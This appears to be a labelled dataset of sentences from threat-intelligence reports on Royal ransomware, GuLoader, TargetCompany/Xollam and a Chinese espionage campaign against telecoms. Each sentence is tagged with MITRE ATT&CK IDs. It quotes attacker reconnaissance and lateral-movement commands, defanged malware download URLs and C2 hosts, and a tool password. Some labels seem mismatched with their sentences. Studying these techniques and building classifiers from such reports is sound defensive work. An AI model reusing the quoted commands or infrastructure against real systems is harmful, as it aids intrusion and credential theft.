{"sentence": "[T1484.001]. Exfiltration Royal actors exfiltrate data from victim networks by repurposing legitimate cyber pentesting tools, such as Cobalt Strike, and malware tools and derivatives, such as Ursnif/Gozi, for data aggregation and exfiltration.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "According to third-party reporting, Royal actors’ first hop in exfiltration and other operations is usually a U.S. IP address.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "Note: In reference to Cobalt Strike and other tools mentioned above, a tool repository used by Royal was identified at IP: 94.232.41[.]105 in December 2022.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "Encryption Before starting the encryption process, Royal actors: Use Windows Restart Manager to determine whether targeted files are currently in use or blocked by other applications [T1486].[1] Use Windows Volume Shadow Copy service (vssadmin.exe) to delete shadow copies to prevent system recovery.[1] FBI has found numerous batch (.bat) files on impacted systems which are typically transferred as an encrypted 7zip file.", "labels": ["T1027", "T1059.003"], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "Batch files create a new admin user [T1078.002], force a group policy update, set pertinent registry keys to auto-extract", "labels": ["T1059.003", "T1484.001"], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "and execute the ransomware, monitor the encryption process, and delete files upon completion—including Application, System, and Security event logs [T1070.001].", "labels": ["T1070.004"], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "Malicious files have been found in victim networks in the following directories: C:\\Temp\\ C:\\Users\\", "labels": [], "doc_title": "StopRansomware Royal Ransomware"}
{"sentence": "Adversaries don’t work 9-5 and neither do we.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "We outline how we responded to the confirmed threat and what recommendations we have going forward.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "This blog will examine Guloader’s latest VBScript/PowerShell execution techniques in more detail.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Similar to the previous activity, GuLoader execution begins with the user clicking on a shortcut file and launching a PowerShell command, which retrieves a decoy tax document and VBS script.", "labels": ["T1105", "T1204.002"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 1 Endpoint view of GuLoader’s execution chain.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Next, PowerShell contacts two shortened links, which lead to two files hosted on softmedal[.]com (a file/image sharing site).", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The first file is infos.pdf and appears to be a real US income tax form.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The PDF is opened with the default app for PDF files (Adobe Acrobat in the above image) and displayed to the user as a decoy.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 2 US Tax Form 1040, opened and displayed to the user as a decoy.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Redactions added.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The second file is Tefor.vbs.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Like GuLoader VBScript variants in the past, this is highly obfuscated and contains junk code to impede analysis.", "labels": ["T1027"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 3 VBScript \"Tefor.vbs\".", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Echoing the A1 variable to a dialogue box reveals the next stage.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Summary of GuLoader's Execution Chain Before stepping through each step in GuLoader’s execution chain in more detail, we can summarize the entire process: Tefor.vbs VBScript is executed by the user clicking a shortcut file.", "labels": ["T1204.002"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "First stage PowerShell is executed by the VBScript.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "BitsTransfer is used to retrieve a payload package containing the second stage PowerShell and two shellcode buffers.", "labels": ["T1105"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Second stage PowerShell is carved out of the payload package and executed.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Shellcode A is carved from the package and reflectively loaded.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Shellcode B is used to retrieve and inject Remcos RAT into a legitimate Windows process such as ieinstal.exe.", "labels": ["T1055"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "First Stage PowerShell The PowerShell command contains various obfuscated strings, as seen in the right side of Figure 3.", "labels": ["T1027"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "This function contains a loop that iterates over each character of the input string (excluding the first and last characters).", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 4 First stage PowerShell de-obfuscation routine.", "labels": ["T1140"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The cleaned-up PowerShell contains less than 30 lines of code and makes up the first stage of GuLoader’s PowerShell execution.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Section 1: Defines a payload URL (hxxp://194.55.224[.]183/frsh/Remimicra.hhp).Defines the path for the 32-bit PowerShell binary on 64-bit systems ($env:windir\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe).Gets the current process command line string using ((gwmi win32_process -F ProcessId=${PID}).CommandLine) -split", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "[char]34.Retrieves and stores second-to-last element from command line array from the last point.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Assigns a variable that checks if the system is 64-bit and if the 32-bit PowerShell exists in the syswow64 folder.", "labels": ["T1082"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 5 First section of GuLoader's first stage PowerShell Section 2:", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "If the system is 64-bit and the 32-bit PowerShell exists in the correct path, execute a new 32-bit PowerShell process copying the current process command line as a new argument.", "labels": ["T1059.003"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Retrieve the next stage from the payload URL defined in Section 1 and save it to AppData\\Fasta.ski using BitsTransfer.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 6 Section 2 of GuLoader's first stage PowerShell.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Section 3: Reads the content of the payload file using the Get-Content cmdlet.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Base64 decodes the payload content.", "labels": ["T1140"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Encoding class to convert and encode a byte array to a string using ASCII encoding.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Extracts a 19712 characters length substring at index position 205484 then execute it.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "This string contains the PowerShell to execute GuLoader’s shellcode.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 7 Section 3 of GuLoader's first stage PowerShell.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Instead of writing more payloads to registry, a single payload package is retrieved that contains both the two-stage shellcode and additional PowerShell commands.", "labels": ["T1027"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Second Stage PowerShell", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "These strings are passed to a decoding function where they are converted from hex to byte and XOR’d with decimal 18.", "labels": ["T1140"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "To speed up analysis, a write-output cmdlet can be inserted into the function to print the decoded strings to the screen during runtime.", "labels": ["T1140"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 9 Second stage PowerShell de-obfuscation routine.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 10 PowerShell code to reflective load shellcode.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Figure 12 Key derived from Shellcode A. Shellcode B Copies 204836 bytes of shellcode from the same payload package beginning at offset 648.Once decoded, this shellcode is responsible for fetching Remcos RAT from hxxp://194.55.224[.]183/frsh/iFaeETTILhlw208.bin and injecting it into ieinstall.exe.", "labels": ["T1055", "T1105", "T1140"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The Remcos RAT identified in this case communicates to zazuservr[.]com over port 9019.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "How did we find it?", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Our team of 24/7 SOC Cyber Analysts traced the blocked network connections to endpoint telemetry that revealed the full extent of the activity described above.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "What did we do?", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "This information was used to update our detection content for GuLoader across our customers.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "What can you learn from this TRU positive?", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Tax documents are presented to the victim as a decoy while code is executed silently in parallel.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Remcos is a commercially available tool marketed as a legitimate Remote Administration Tool (RAT).", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "The tool provides various remote access and surveillance features including keylogging, screenshots and audio recording among other features which make the tool an attractive choice for threat actors.", "labels": ["T1056.001", "T1113", "T1219"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Remcos is best paired with a capable malware loader such as GuLoader to ensure uninterrupted execution on systems where it has not explicitly been installed by administrators.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Individuals and organizations should be vigilant when receiving unsolicited emails or messages related to taxes.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Train users to identify and report potentially malicious content using Phishing and Security Awareness Training (PSAT) programs.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "Using a Next-Gen AV (NGAV) or Endpoint Detection and Response (EDR) tool to detect and contain threats.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "zazuservr[.]com Remcos C2 eSentire’s Threat Response Unit (TRU) is a world-class team of threat researchers who develop new detections enriched by original threat intelligence and leverage new machine learning models that correlate multi-signal data and automate rapid response to advanced threats.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"}
{"sentence": "We also investigate previous variants' behaviors and the ransomware family's extortion scheme.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "By: Earle Maui Earnshaw, Nathaniel Morales, Katherine Casona, Don Ovid Ladores June 06, 2023Read time: ( words) Save to Folio Subscribe After first being detected in June 2021, the TargetCompany ransomware family underwent several name changes that signified major updates in the ransomware family, such as modifications in encryption algorithm and different decryptor characteristics.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "The earliest samples of the TargetCompany ransomware appended victims’ files with the extension “.tohnichi,” the name of its victim enterprise at that time, signifying a targeted attack on the organization of the same name.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "As a result, it was initially known as the Tohnichi ransomware.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "Later, the group continued appending encrypted files with names based on its victims, such as “.artis” for the Artis Zoo in Amsterdam.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "Other extensions include “.herrco,” “.brg,” and “.carone.” Industry experts then later identified the ransomware as TargetCompany from the pattern it adopted of appending encrypted files after the company it was targeting.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "We elaborate on the behavior of these variants in our Ransomware Spotlight: TargetCompany.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "The infection chain of the earlier TargetCompany variants Our investigations show that its latest variant, Xollam, now deviates from the gang’s tried-and-tested initial access method.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "In this blog, we discuss this latest development in the TargetCompany ransomware’s behavior and look into its previous infection chains.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "In 2023, Xollam was observed as following a technique similar to the one followed by phishing campaigns: using Microsoft OneNote files as initial access to spread and deliver malware.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "Based on our investigations, Xollam uses a pseudo-fileless technique through PowerShell, which executes reflective loading to download its payload.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "As we discuss in later sections, we have also observed this technique in earlier variants of the TargetCompany ransomware.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "The attack flow of the latest TargetCompany variant, Xollam, which uses malicious OneNote files for initial access The latest variant of the ransomware, Xollam, was detected in February this year.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "The gang released 1.28 GB of compressed datasets that included financial balance sheets, employee reimbursement details, bank statements and internet banking credentials, industry audit reports, and documents related to FICCI subcommittees.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "Reflective loading, Mallox, and Fargo variants", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "The Mallox variant of the ransomware was first detected in the wild in October 2021.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "Later samples in January of the following year showed that the ransomware group started to employ reflective loading as part of its defense evasion.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "The Mallox variant connects to an IP address to load the encrypted ransomware, with its download URL only available for approximately 24 hours.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "Notably, this made the dynamic analysis of old samples difficult.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "Our investigations revealed that the payload downloaded by the PowerShell script was a .NET downloader, which would subsequently retrieve an encrypted payload from the command-and-control (C&C) server.", "labels": ["T1105"], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "A closer look at the reflective loading technique that TargetCompany threat actors incorporated; the IP address it connects to changes every 24 hours and deploys different payloads The payload would then be decrypted through XOR or inversion and executed in memory.", "labels": ["T1140"], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "The specific payload that is downloaded varies depending on the link on the .NET downloader.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "It’s important to note that reflective loading enabled the Mallox variant to evade traditional antivirus solutions, making it challenging for organizations to protect themselves against these attacks.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "Meanwhile, the Remcos backdoor payload is executed via WmiPrvSE.exe, and the payload most likely arrives by exploiting public-facing websites and domains.", "labels": ["T1190"], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "Our investigations showed that the gang used different sets of defense evasion and reconnaissance tools such as GMER and Advance Process Termination to manually uninstall antivirus products on the target system.", "labels": ["T1562.001"], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "We also observed the presence of YDArk.exe (PCHunter64) for performing rootkit behaviors, and that TargetCompany attempts to terminate security-related processes and services by dropping KILLAV.", "labels": ["T1562.001"], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "In addition, the ransomware drops a batch file named killer.bat that terminates various services and applications, including GPS-related services.", "labels": ["T1059.003"], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "Afterward, it proceeds to steal system information like machine details and other relevant data.", "labels": ["T1082"], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "TargetCompany ransomware defense evasion routine", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "The ransomware encrypts the victim's files using the ChaCha20 encryption algorithm and generates the encryption keys using a combination of Curve25519, an example of elliptic curve cryptography, and AES-128.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "In June 2022, the gang targeted other victims with encrypted files appended with the extension “.fargo.”", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "We also observed that like Mallox, the Fargo variant employed reflective loading.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "In the last two months of 2022, there was an increase in attacks launched by the TargetCompany ransomware using its Mallox variant.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "Extortion While the Mallox and Fargo variants were operating simultaneously in 2022, TargetCompany initiated its double-extortion scheme by setting up a Telegram channel where it could publish stolen information.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "The first Twitter account (eventually suspended) that Mallox created for announcing its victims (top), and the new Twitter account that replaced it (bottom); the new account remains active as of this writing In November of the same year, Mallox launched its data leak site where, as of writing, it has declared only 20 victims.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "However, our telemetry data revealed far more attacks at 269 attempts on Trend Micro customers from March 2022 to April 2023.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "In a January 2023 interview, threat actors behind TargetCompany said that they choose only a small percentage of their victims to publish on their leak site.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "They also limit the amount of leaked data to what they deem particularly interesting and claim to have no intention of publishing everything.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "While the group said that it remains small and closed, the actors behind it mentioned that they are “open to suggestions.”", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "Interestingly, a new member of the cybercrime forum RAMP under the name “Mallx” was observed recruiting affiliates for the Mallox ransomware-as-a-service (RaaS) affiliate program.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "TargetCompany shares similarities with these groups in terms of threat actor profiles, targets, deployed remote control, and encryption algorithm.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "We discuss other possible affiliations, as well as victim profiles and behaviors in our Spotlight feature on the ransomware group.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "Conclusion The TargetCompany ransomware is making bolder ventures beyond its tried-and-tested techniques by joining the bandwagon of OneNote phishing campaigns, which allows it to cast a wider net for increased profitability.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "We can expect TargetCompany to make even bigger moves in the future, especially since the threat actors behind it have admitted that they created TargetCompany to move away from the restrictions and inflexibility of their previous groups.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "Conducting regular vulnerability assessments and patching systems in a timely manner can also minimize the damage dealt by ransomware families that abuse exploits.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "We advise users and organizations to update their systems with the latest patches and apply multilayered defense mechanisms.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "End users and enterprises alike can mitigate the risk of infection from new threats like the TargetCompany ransomware by following these security best practices: Enable multifactor authentication (MFA) to prevent attackers from performing lateral movement inside a network.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "Adhere to the 3-2-1 rule when backing up important files.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "It’s important to keep operating systems and applications up to date and maintain patch management protocols that can deter malicious actors from exploiting any software vulnerabilities.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "Authors Earle Maui Earnshaw Threats Analyst Nathaniel Morales Threat Analyst Katherine Casona Threat Analyst Don Ovid Ladores Threats Analyst", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"}
{"sentence": "By Aleksandar Milenkoski, Juan Andres Guerrero-Saade, and Joey Chen, in collaboration with QGroup Executive Summary In Q1 of 2023, SentinelLabs observed initial phases of attacks against telecommunication providers in the Middle East.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "While it is highly likely that the threat actor is a Chinese cyberespionage group in the nexus of Gallium and APT41, the exact grouping remains unclear.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "SentinelLabs observed the use of a well-maintained, versioned credential theft capability and a new dropper mechanism indicative of an ongoing development effort by a highly-motivated threat actor with specific tasking requirements.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Overview", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The initial attack phase involves infiltrating Internet-facing Microsoft Exchange servers to deploy webshells used for command execution.", "labels": ["T1190"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The malware implemented a series of Mimikatz modifications on closed-source tooling.", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This post details the multi-component architecture and functionality of a sample, referred to as mim221.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The use of special-purpose modules that implement a range of advanced techniques shows the threat actors’ dedication to advancing its toolset towards maximum stealth.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "These techniques include in-memory mapping of malicious images to evade EDR API hooks and file-based detections surgically terminating Event Log threads instead of the host process to inhibit logging without raising suspicions staging a credential theft capability in the LSASS process itself by abusing native Windows capabilities.", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Version numbers and build timestamps indicate a maintained software project by designated developers.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Closer analysis reveals an element of pragmatism in that the threat actors use modified publicly available code to achieve their goals.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "In terms of attribution, the tooling suggests an immediate link to the ‘Operation Soft Cell’ campaign but remains slightly vague on the specific threat actor.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "That campaign has been publicly associated with Gallium and possible connections to APT41 have been suggested by the use of a common code signing certificate and tooling that shares code similarities.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "APT41 is also known to target telecommunication providers.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Regardless of clustering specifics, this finding highlights the increased operational tempo of Chinese cyberespionage actors and their consistent investment in advancing their malware arsenal to evade detection.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Infection Vector and Initial TTPs As initial attack indicators, we observed command execution through webshells on compromised Microsoft Exchange server deployments.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The threat actors used C:\\MS_DATA as their main working directory for storing malware and staging data for exfiltration.", "labels": ["T1074.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "After establishing an initial foothold, the threat actor conducts reconnaissance like querying user and network information using a variety of tools.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "\"cmd\" /c cd /d C:\\MS_DATA\\&dsquery * -limit 0 -filter \"cmd\" /c cd /d", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "C:\\MS_DATA\\&dsquery * -limit 0 -filter \"&(objectClass=User)(objectCategory=Person)\"", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "-attr objectSID sAMAccountName displayName mail memberOf >da.back&cd \"cmd\" /c cd /d c:\\windows\\system32\\inetsrv\\&query user&cd \"cmd\" /c cd /d", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "C:\\MS_DATA\\&lg.exe \\\\[IP ADDRESS] -lu >", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "169.txt&cd", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The attackers then check connectivity with both the Internet and specific local machines of interest.", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "\"cmd\" /c cd /d", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "c:\\windows\\system32\\inetsrv\\&ping -n", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "1", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "[IP ADDRESS/HOSTNAME]&cd They also retrieve networking information, like network adapters, specific machines, and network services like Remote Desktop Protocol (RDP).", "labels": ["T1016", "T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "\"cmd\" /c cd /d C:\\MS_DATA\\&ipconfig", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "/all&cd \"cmd\" /c cd /d", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "c:\\windows\\system32\\inetsrv\\&netstat.exe -nob \"cmd\" /c cd /d c:\\windows\\system32\\inetsrv\\&netstat -aon |find \"3389\"&cd \"cmd\" /c cd /d C:\\MS_DATA\\&netstat -aon |find \"[IP ADDRESS]\"&cd", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "\"cmd\" /c cd /d C:\\MS_DATA\\&makecab da.back d.zip >1.txt&cd For lateral movement, the attackers made use of the PsExec tool and the net use command for accessing shared resources on remote machines.", "labels": ["T1059.003", "T1570"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "C:\\MS_DATA\\&net use \\\\[IP ADDRESS]", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "[PASSWORD] /u:[DOMAIN]\\[USERNAME] A Penchant for Credential Theft", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "In order to steal credentials, the attackers employ custom modified versions of Mimikatz, including an executable named pc.exe.", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Mimikatz publicly available code (top); strings from a Mimikatz modification (bottom)The pc.exe executable stages the execution of three other components that ultimately result in stealing credentials from the Local Security Authority Subsystem Service (LSASS) process.", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "We refer to the four component chain as ‘mim221’ based on the version number that the tool displays (2.2.1).", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "We observed the threat actors deploying individual chunks of pc.exe in the working directory and merging these into pc.exe using the type command.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This could indicate a multi-phase attack strategy, where the deployment of backdoors and further persistence mechanisms is carried out separately after credential theft has ensured continued access.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "It decrypts AddSecurityPackage64.dll and pc.dll, stores pc.dll on the file system, and then loads and executes AddSecurityPackage64.dll by invoking its exported function, pathAddPackage.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The execution of pc.exe requires a password supplied by the operator (in this case, P2sSW0rd1234!@#$C), which the operator provides through the key command-line parameter.", "labels": ["T1140"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This technique involves first mapping a Windows PE image in memory and then executing the image’s main entry point or an export function.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The Phant0m tool provides a complete implementation of this process.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
